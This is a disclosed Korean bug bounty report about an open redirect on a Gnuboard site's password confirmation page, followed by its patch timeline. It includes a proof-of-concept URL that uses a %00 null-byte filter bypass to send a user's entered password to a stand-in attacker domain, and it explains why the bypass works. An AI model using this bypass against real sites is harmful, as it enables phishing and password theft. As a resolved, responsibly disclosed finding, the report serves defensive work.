open redirect를 통한 사용자 비밀번호 탈취

Writer 점심이당 Program 한국CISSP협회 대표홈페이지

WEB Resolved Low 20,000 Created: Jun 10, 2021 (4 years ago) Last Updated: Jun 16, 2021 (4 years ago)

Weakness

open redirect를 통한 사용자 비밀번호 탈취

Description

개요

회원 비밀번호 확인 페이지(/bbs/member_confirm.php)에서 url 파라미터의 값을 다른 도메인으로 지정할 수 있는 취약점임.
비밀번호를 입력하고 확인 버튼을 누르면 임의의 도메인으로 입력한 비밀번호가 전송되도록 할 수 있음

PoC: https://isc2chapter.kr/bbs/member_confirm.php?url=http://hackerdomain.com%00@isc2chapter.kr

재현 과정

  1. [step1] 사용자가 해커에게 받은 URI에 접속함.
    https://isc2chapter.kr/bbs/member_confirm.php?url=http://hackerdomain.com%00@isc2chapter.kr
    이미지1

  2. [step2] 사용자가 비밀번호를 입력하고 확인 버튼을 누름.
    이미지2

  3. [step3] 해커의 도메인 hackerdomain.com으로 사용자가 입력한 비밀번호가 전송됨.

예상되는 취약점 발생 원인

그누보드엔 url query 파라미터로 들어오는 %00 값을 \0으로 replace하는 루틴이 있는데,
이를 이용하여 url 파라미터의 필터링을 우회할 수 있음.

url 파라미터의 값인 http://hackerdomain.com%00@isc2chapter.kr
내부적으로 http://hackerdomain.com\0@isc2chapter.kr 으로 치환됨.

웹브라우저 상에서 http://hackerdomain.com\0@isc2chapter.kr에 접속하면,
http://hackerdomain.com/0@isc2chapter.kr 으로 들어가짐

패치 방법

$_GET['url'] 변수의 값에 \0이 포함되면 오류가 발생하도록 패치

예상 결과 및 파급력

해커가 임의로 만든 URI에 사용자들이 접속하도록 유도하여, 사용자들의 비밀번호를 탈취할 수 있음.

Timeline

점심이당 submitted ticket. June 10, 2021 (4 years ago)
CISSP MANAGER changed the status from 'Submitted' to 'In Progress'. June 14, 2021 (4 years ago)
CISSP MANAGER changed the severity from 'Medium' to 'Low'. June 14, 2021 (4 years ago)
CISSP MANAGER posted a comment. June 14, 2021 (4 years ago)

안녕하세요.

패치가 완료 되었는데, 확인 한번 해주시겠어요?

점심이당 posted a comment. June 14, 2021 (4 years ago)

안녕하세요.
form 태그의 action 속성이 /bbs/member_confirm.php이라는 URL로 하드코딩하신것 같은데,
이러니까 비밀번호 확인 기능이 정상적으로 작동하질 않네요.

점심이당 posted a comment. June 15, 2021 (4 years ago)

제가 티켓 제출 당시에 패치 방법에 \0을 막으라고 적어두었는데…
지금 보니까 \0 말고도 다른 문자로도 우회가 가능한게 확인되어서, 패치 방법 수정안을 올리겠습니다.

패치 방법

url 파라미터의 값에 \0, ', \ 등의 문자가 포함되면 오류가 발생하도록 패치

CISSP MANAGER posted a comment. June 16, 2021 (4 years ago)

안녕하세요.

현재 기능에 지장 없이 패치를 완료한 상태인데 .

확인 한번 해주시겠어요?

점심이당 posted a comment. June 16, 2021 (4 years ago)

안녕하세요.
페이지에 접속해보니 다음과 같은 에러가 발생합니다.
Uncaught Error: Call to undefined function sset() in /var/www/html/bbs/alert.php:30
코드에 오타가 있는것 같네요.

CISSP MANAGER posted a comment. June 16, 2021 (4 years ago)

안녕하세요, 패치가 완료 되었습니다.

다시 한번 더 확인 부탁 드립니다.

점심이당 posted a comment. June 16, 2021 (4 years ago)

네 이상없이 작동하는것 같습니다.

CISSP MANAGER rewarded 20,000 credit. June 16, 2021 (4 years ago)
CISSP MANAGER changed the status from 'In Progress' to 'Resolved'. June 16, 2021 (4 years ago)
CISSP MANAGER changed the disclosure from 'Closed' to 'Disclosed (Full)'. June 16, 2021 (4 years ago)